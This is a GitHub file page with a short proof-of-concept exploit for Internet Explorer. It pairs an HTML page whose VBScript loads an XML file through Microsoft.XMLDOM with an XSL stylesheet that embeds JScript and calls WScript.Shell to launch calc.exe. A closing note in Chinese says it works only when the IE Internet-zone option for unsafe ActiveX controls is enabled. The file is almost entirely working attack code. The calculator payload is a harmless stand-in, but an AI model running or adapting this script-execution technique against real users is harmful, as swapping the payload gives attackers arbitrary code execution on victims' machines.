Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
36 lines (33 sloc) 739 Bytes

poc.html:

<script type="text/vbscript">
Sub Dummy()
Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False
Set xsl = XML
xsl.Load "xml.xml"
XML.transformNode xsl
End Sub
Dummy()
</script>

xml.xml

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text" />
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
 ]]> 
 </ms:script>
</stylesheet>

前提配置:

IE安全设置-Internet区域,设置“对未标记为可安全执行脚本的ActiveX空间初始化并执行”为启用(不安全)。

You can’t perform that action at this time.